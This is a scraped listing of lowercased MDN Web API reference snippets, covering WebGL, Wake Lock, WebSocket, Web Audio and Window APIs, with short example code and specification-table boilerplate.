.shadersource(shader, 'void main() { gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0); }'); gl.compileshader(shader); var src = gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); console.log(src); // "void main(){ // (gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0)); // }" specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders.gettranslatedshadersource' in that specification.
... recommendation initial definition.
WEBGL_debug_shaders - Web APIs
specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders' in that specification.
... recommendation initial definition.
WEBGL_depth_texture - Web APIs
examples var ext = gl.getextension('webgl_depth_texture'); gl.teximage2d(gl.texture_2d, 0, gl.depth_component, 512, 512, 0, gl.depth_component, gl.unsigned_short, null); specifications specification status comment webgl_depth_texturethe definition of 'webgl_depth_texture' in that specification.
... recommendation initial definition.
WEBGL_draw_buffers - Web APIs
); shader code that writes to multiple textures: <script type="x-shader/x-fragment"> #extension gl_ext_draw_buffers : require precision highp float; void main(void) { gl_fragdata[0] = vec4(0.25); gl_fragdata[1] = vec4(0.5); gl_fragdata[2] = vec4(0.75); gl_fragdata[3] = vec4(1.0); } </script> specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
... recommendation initial definition.
WEBGL_lose_context.loseContext() - Web APIs
specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
... recommendation initial definition.
WEBGL_lose_context.restoreContext() - Web APIs
with this method, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
... recommendation initial definition.
WEBGL_lose_context - Web APIs
specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context' in that specification.
... recommendation initial definition.
WakeLock.request() - Web APIs
WebAPIWakeLockrequest
const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'request()' in that specification.
... unknown initial definition.
WakeLock - Web APIs
WebAPIWakeLock
const requestwakelock = async () => { try { const wakelock = await navigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
... unknown initial definition.
WakeLockSentinel.release() - Web APIs
wakelockoffbutton.addeventlistener('click', () => { wakelocksentinel.release(); }) specifications specification status comment screen wake lock apithe definition of 'release()' in that specification.
... unknown initial definition.
WakeLockSentinel.type - Web APIs
const requestwakelock = async () => { wakelock = await navigator.wakelock.request('screen'); console.log(wakelock.type); // logs 'screen' }; requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelocktype' in that specification.
... unknown initial definition.
WakeLockSentinel - Web APIs
equest fails - usually system related, such as battery } } wakelockonbutton.addeventlistener('click', () => { requestwakelock(); }) wakelockoffbutton.addeventlistener('click', () => { if (wakelock !== null) { wakelock.release() .then(() => { wakelock = null; }) } }) specifications specification status comment screen wake lock apithe definition of 'wakelocksentinel' in that specification.
... unknown initial definition.
WaveShaperNode.WaveShaperNode() - Web APIs
specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification.
... working draft initial definition.
WaveShaperNode.oversample - Web APIs
once applied, the number of samples is reduced to its initial numbers.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'oversample' in that specification.
WebGL2RenderingContext.getBufferSubData() - Web APIs
examples var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array(vertices), gl.static_draw); var arrbuffer = new arraybuffer(vertices.length * float32array.bytes_per_element); gl.getbuffersubdata(gl.array_buffer, 0, arrbuffer); specifications specification status comment webgl 2.0the definition of 'getbuffersubdata' in that specification.
... editor's draft initial definition.
WebGLActiveInfo.name - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.name; var activeuniform = gl.getactiveuniform(program, index); activeuniform.name; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.name' in that specification.
... recommendation initial definition.
WebGLActiveInfo.size - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.size; var activeuniform = gl.getactiveuniform(program, index); activeuniform.size; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.size' in that specification.
... recommendation initial definition.
WebGLActiveInfo.type - Web APIs
examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.type; var activeuniform = gl.getactiveuniform(program, index); activeuniform.type; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.type' in that specification.
... recommendation initial definition.
WebGLActiveInfo - Web APIs
program, gluint index) specifications specification status comment webgl 1.0the definition of 'webglactiveinfo' in that specification.
... recommendation initial definition.
WebGLBuffer - Web APIs
text are useful: webglrenderingcontext.bindbuffer() webglrenderingcontext.createbuffer() webglrenderingcontext.deletebuffer() webglrenderingcontext.isbuffer() examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'webglbuffer' in that specification.
... recommendation initial definition.
WebGLContextEvent.statusMessage - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log('webgl context creation failed:' + e.statusmessage || 'unknown error'); }, false); specifications specification status comment webgl 1.0the definition of 'webglcontextevent.statusmessage' in that specification.
... recommendation initial definition.
WebGLContextEvent - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglcontextevent' in that specification.
... recommendation initial definition.
WebGLFramebuffer - Web APIs
ingcontext.bindframebuffer() webglrenderingcontext.createframebuffer() webglrenderingcontext.deleteframebuffer() webglrenderingcontext.isframebuffer() examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'webglframebuffer' in that specification.
... recommendation initial definition.
WebGLProgram - Web APIs
gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'webglprogram' in that specification.
... recommendation initial definition.
WebGLQuery - Web APIs
var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'webglquery' in that specification.
... editor's draft initial definition.
WebGLRenderbuffer - Web APIs
text.bindrenderbuffer() webglrenderingcontext.createrenderbuffer() webglrenderingcontext.deleterenderbuffer() webglrenderingcontext.isrenderbuffer() examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'webglrenderbuffer' in that specification.
... recommendation initial definition.
WebGLRenderingContext.canvas - Web APIs
var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); gl.canvas; // offscreencanvas specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.canvas' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawingBufferHeight - Web APIs
syntax gl.drawingbufferheight; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the height of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferheight; // 150 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferheight' in that specification.
... recommendation initial definition.
WebGLRenderingContext.drawingBufferWidth - Web APIs
syntax gl.drawingbufferwidth; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the width of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferwidth; // 300 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferwidth' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getContextAttributes() - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getcontextattributes' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getExtension() - Web APIs
texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getextension' in that specification.
... recommendation initial definition.
WebGLRenderingContext.getSupportedExtensions() - Web APIs
texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getsupportedextensions' in that specification.
... recommendation initial definition.
WebGLRenderingContext.isContextLost() - Web APIs
mples for example, when checking for program linking success, you could also check if the context is not lost: gl.linkprogram(program); if (!gl.getprogramparameter(program, gl.link_status) && !gl.iscontextlost()) { var info = gl.getprograminfolog(program); console.log('error linking program:\n' + info); } specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.iscontextlost' in that specification.
... recommendation initial definition.
WebGLRenderingContext.makeXRCompatible() - Web APIs
specifications specification status comment webxr device apithe definition of 'webglrenderingcontext.makexrcompatible()' in that specification.
... working draft initial definition ...
WebGLRenderingContext - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext' in that specification.
... recommendation initial definition ...
WebGLSampler - Web APIs
var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'webglsample' in that specification.
... editor's draft initial definition.
WebGLShader - Web APIs
vertexshadersource, gl.vertex_shader) creating a fragment shader var fragmentshadersource = 'void main() {\n' + ' gl_fragcolor = vec4(1.0, 1.0, 1.0, 1.0);\n' + '}\n'; //use the createshader function from the example above var fragmentshader = createshader(gl, fragmentshadersource, gl.fragment_shader) specifications specification status comment webgl 1.0the definition of 'webglshader' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.precision - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).precision; // 23 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).precision; // 0 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.precision' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.rangeMax - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemax; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemax; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemax' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.rangeMin - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemin; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemin; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemin' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float); // webglshaderprecisionformat { rangemin: 127, rangemax: 127, precision: 23 } specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat' in that specification.
... recommendation initial definition.
WebGLSync - Web APIs
WebAPIWebGLSync
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'webglsync' in that specification.
... editor's draft initial definition.
WebGLTexture - Web APIs
e useful: webglrenderingcontext.bindtexture() webglrenderingcontext.createtexture() webglrenderingcontext.deletetexture() webglrenderingcontext.istexture() examples creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'webgltexture' in that specification.
... recommendation initial definition.
WebGLTransformFeedback - Web APIs
var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'webgltransformfeedback' in that specification.
... editor's draft initial definition.
WebGLUniformLocation - Web APIs
of the webglrenderingcontext are useful: webglrenderingcontext.getuniformlocation() webglrenderingcontext.uniform() examples getting an uniform location var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var location = gl.getuniformlocation(webglprogram, 'uniformname'); specifications specification status comment webgl 1.0the definition of 'webgluniformlocation' in that specification.
... recommendation initial definition.
WebGLVertexArrayObject - Web APIs
specifications specification status comment webgl 2.0the definition of 'webglvertexarrayobject' in that specification.
... editor's draft initial definition.
Hello vertex attributes - Web APIs
" + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.arr...
...ay_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl...
WebGL by example - Web APIs
sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.
... boilerplate 1 the example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
WebGL constants - Web APIs
specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext' in that specification.
... recommendation initial definition webgl 2.0the definition of 'webgl2renderingcontext' in that specification.
Taking still photos with WebRTC - Web APIs
initialization we start by wrapping the whole script in an anonymous function to avoid global variables, then setting up various variables we'll be using.
...this function's job is to request access to the user's webcam, initialize the output <img> to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.
WebRTC Statistics API - Web APIs
rtctransportstats rtcstats specifications specification status comment identifiers for webrtc's statistics apithe definition of 'webrtc statistics types' in that specification.
... candidate recommendation compatibility for individual statistic types webrtc 1.0: real-time communication between browsersthe definition of 'rtcstatsreport' in that specification.
WebSocket.binaryType - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: binarytype' in that specification.
... living standard initial definition ...
WebSocket.bufferedAmount - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: bufferedamount' in that specification.
... living standard initial definition ...
WebSocket.close() - Web APIs
WebAPIWebSocketclose
specifications specification status comment html living standard the definition of 'websocket.close()' in that specification.
... living standard initial definition ...
WebSocket.extensions - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: extensions' in that specification.
... living standard initial definition ...
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification.
... living standard initial definition ...
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html living standardthe definition of 'websocket: onerror' in that specification.
... living standard initial definition ...
WebSocket.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification.
... living standard initial definition ...
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification.
... living standard initial definition ...
WebSocket.protocol - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: protocol' in that specification.
... living standard initial definition ...
WebSocket.readyState - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: readystate' in that specification.
... living standard initial definition ...
WebSocket.send() - Web APIs
WebAPIWebSocketsend
specifications specification status comment html living standardthe definition of 'websocket: send' in that specification.
... living standard initial definition ...
WebSocket.url - Web APIs
WebAPIWebSocketurl
specifications specification status comment html living standardthe definition of 'websocket: url' in that specification.
... living standard initial definition ...
Writing a WebSocket server in C# - Web APIs
tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
....1"; int port = 80; var server = new tcplistener(ipaddress.parse(ip), port); server.start(); console.writeline("server has started on {0}:{1}, waiting for a connection...", ip, port); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); // enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); while (client.available < 3); // match against "get" byte[] bytes = new byte[client.available]; stream.read(bytes, 0, client.available); string s = encoding.utf8.getstring(bytes); if (regex.ismatch(s, "^get", regexoption...
Inputs and input sources - Web APIs
xrsession.addeventlistener("squeezeend", event => { const targetrayspace = event.inputsource.targetrayspace; const hand = event.inputsource.handedness; if (avatar.heldobject[hand]) { returnobject(hand); avatar.heldobject[hand] = null; } }); here, the returnobject() function is assumed to be one which knows how to return the object held in the specified hand to its initial position, as it was recorded by pickupobject() in the squeezestart event handler.
... here, the returnobject() function is assumed to be one which knows how to return the object held in the specified hand to its initial position, as it was recorded by pickupobject() in the squeezestart event handler.
Keyframe Formats - Web APIs
specifications specification status comment web animationsthe definition of 'keyframe object formats' in that specification.
... working draft initial definition ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
setting up let's start by looking at the global variable initialization.
... now let's look at the setup() function, which is our handler for the window's load event; it handles all the initialization tasks that require the dom to be in place.
Example and tutorial: Simple synth keyboard - Web APIs
ft { width: 50%; position: absolute; left: 0; display: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } .right { width: 50%; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } javascript the javascript code begins by initializing a number of variables.
... finally, the oscillator list is initialized to ensure that it's ready to receive information identifiying which oscillators are associated with which keys.
Functions and classes available to Web Workers - Web APIs
customevent the customevent interface represents events initialized by an application for any purpose.
... fetch the fetch spec provides an up-to-date definition of, and api for, fetching resources (e.g.
Web Workers API - Web APIs
specifications specification status comment html living standardthe definition of 'web workers' in that specification.
... living standard initial definition.
WheelEvent.deltaMode - Web APIs
syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
... obsolete initial definition.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
... obsolete initial definition.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
... obsolete initial definition.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
... obsolete initial definition.
Window.clearImmediate() - Web APIs
examples let immediateid = setimmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { clearimmediate(immediateid); }); specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
... editor's draft initial definition.
Window.close() - Web APIs
WebAPIWindowclose
(firefox 46.0.1: scripts can not close windows, they had not opened) function closecurrentwindow() { window.close(); } specification specification status comment html living standardthe definition of 'window.close()' in that specification.
... living standard html5the definition of 'window.close()' in that specification.
Window: copy event - Web APIs
WebAPIWindowcopy event
the copy event fires when the user initiates a copy action through the browser's user interface.
... examples window.addeventlistener('copy', (event) => { console.log('copy action initiated') }); specifications specification status clipboard api and events working draft ...
Window.crypto - Web APIs
WebAPIWindowcrypto
ndtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button" onclick='genrandomnumbers()'>generate 10 random numbers</button> result specifications specification status comment web cryptography apithe definition of 'window.crypto' in that specification.
... recommendation initial definition ...
Window.customElements - Web APIs
specification specification status comment html living standardthe definition of 'window.customelements' in that specification.
... living standard initial definition.
Window: cut event - Web APIs
WebAPIWindowcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
... examples window.addeventlistener('cut', (event) => { console.log('cut action initiated') }); specifications specification status clipboard api and events working draft ...
Window.devicePixelRatio - Web APIs
padding: 0; background-color: #a9f; } .inner-container { padding: 1em 2em; text-align: justify; text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepixelratio' in that specification.
... working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
Window.document - Web APIs
WebAPIWindowdocument
example console.log(window.document.title); specifications specification status comment html living standardthe definition of 'window.document' in that specification.
... living standard html5the definition of 'window.document' in that specification.
Window.event - Web APIs
WebAPIWindowevent
specifications specification status comment domthe definition of 'window.event' in that specification.
... living standard initial definition.
Window.frameElement - Web APIs
example const frameel = window.frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
... candidate recommendation initial specification.
Window.frames - Web APIs
WebAPIWindowframes
example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
... living standard html5the definition of 'window.frames' in that specification.
Window: hashchange event - Web APIs
hange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'hashchange' in that specification.
... living standard initial definition ...
Window.history - Web APIs
WebAPIWindowhistory
specifications specification status comment html living standardthe definition of 'the history interface' in that specification.
... living standard html5the definition of 'the history interface' in that specification.
Window.innerHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.innerheight' in that specification.
... working draft initial definition ...
Window.innerWidth - Web APIs
WebAPIWindowinnerWidth
ithin a frameset var intframewidth = self.innerwidth; // this will return the width of the viewport of the closest frameset var intframesetwidth = parent.innerwidth; // this will return the width of the viewport of the outermost frameset var intouterframesetwidth = top.innerwidth; specification specification status comment css object model (cssom) view modulethe definition of 'window.innerwidth' in that specification.
... working draft initial definition ...
Window.length - Web APIs
WebAPIWindowlength
example if (window.length) { // this is a document with subframes } specifications specification status comment html living standardthe definition of 'window.length' in that specification.
... living standard html5the definition of 'window.length' in that specification.
Window: load event - Web APIs
WebAPIWindowload event
textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
... working draft html living standardthe definition of 'load event' in that specification.
Window.locationbar - Web APIs
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var visible = window.locationbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.locationbar' in that specification.
... living standard html5the definition of 'window.locationbar' in that specification.
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
specifications specification status comment css object model (cssom) view modulethe definition of 'window.matchmedia()' in that specification.
... working draft initial definition ...
Window.menubar - Web APIs
WebAPIWindowmenubar
<html> <head> <title>various dom tests</title> <script> var visible = window.menubar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.menubar' in that specification.
... living standard html5the definition of 'window.menubar' in that specification.
Window.moveTo() - Web APIs
WebAPIWindowmoveTo
function origin() { window.moveto(0, 0); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveto()' in that specification.
... working draft initial definition ...
Window.name - Web APIs
WebAPIWindowname
specifications specification status comment html living standardthe definition of 'window.name' in that specification.
... living standard html5the definition of 'window.name' in that specification.
Window.ongamepadconnected - Web APIs
}; examples window.ongamepadconnected = function(event) { // all buttons and axes values can be accessed through event.gamepad; }; specifications specification status comment gamepadthe definition of 'gamepadconnected event' in that specification.
... working draft initial definition ...
Window.ongamepaddisconnected - Web APIs
}; examples window.ongamepaddisconnected = function() { // a gamepad has been disconnected }; specifications specification status comment gamepadthe definition of 'gamepaddisconnected event' in that specification.
... working draft initial definition ...
Window.outerWidth - Web APIs
WebAPIWindowouterWidth
specification specification status comment css object model (cssom) view modulethe definition of 'window.outerwidth' in that specification.
... working draft initial definition.
Window: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
... examples window.addeventlistener('paste', (event) => { console.log('paste action initiated') }); specifications specification status clipboard api and events working draft ...
Window.personalbar - Web APIs
specifications specification status comment html living standardthe definition of 'window.personalbar' in that specification.
... living standard html5the definition of 'window.personalbar' in that specification.
Window: rejectionhandled event - Web APIs
onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification.
... living standard initial definition.
Window: resize event - Web APIs
textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = reportwindowsize; addeventlistener equivalent you could set up the event handler using the addeventlistener() method: window.addeventlistener('resize', reportwindowsize); specifications specification status document object model (dom) level 3 events specificationthe definition of 'resize' in that specification.
... obsolete css object model (cssom) view modulethe definition of 'resize' in that specification.
Window.screen - Web APIs
WebAPIWindowscreen
syntax let screenobj = window.screen; example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screen' in that specification.
... working draft initial definition.
Window.scroll() - Web APIs
WebAPIWindowscroll
specification specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
... working draft initial definition.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification.
... working draft initial definition.
Window.scrollTo() - Web APIs
WebAPIWindowscrollTo
specifications specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
... working draft initial definition.
Window.scrollbars - Web APIs
WebAPIWindowscrollbars
<!doctype html> <html> <head> <title>various dom tests</title> <script> let visiblescrollbars = window.scrollbars.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.scrollbars' in that specification.
... living standard html5the definition of 'window.scrollbars' in that specification.
Window.setImmediate() - Web APIs
specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
... editor's draft initial definition.
Window.statusbar - Web APIs
WebAPIWindowstatusbar
specifications specification status comment html living standardthe definition of 'window.statusbar' in that specification.
... living standard html5the definition of 'window.statusbar' in that specification.
Window.stop() - Web APIs
WebAPIWindowstop
syntax window.stop() example window.stop(); specification specification status comment html living standardthe definition of 'window.stop()' in that specification.
... living standard html5the definition of 'window.stop' in that specification.
Window.toolbar - Web APIs
WebAPIWindowtoolbar
see also: window.locationbar, window.menubar, window.personalbar, window.scrollbars, window.statusbar specifications specification status comment html living standardthe definition of 'window.toolbar' in that specification.
... living standard html5the definition of 'window.toolbar' in that specification.
Window: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
... working draft initial definition.
Window: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
... working draft initial definition.
Window: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
... working draft initial definition.
Window: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
... working draft initial definition.
Window: unhandledrejection event - Web APIs
// prevent the default handling (such as outputting the // error to the console) event.preventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification.
... living standard initial definition.
Window.visualViewport - Web APIs
specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
... draft initial definition.
WindowClient.focus() - Web APIs
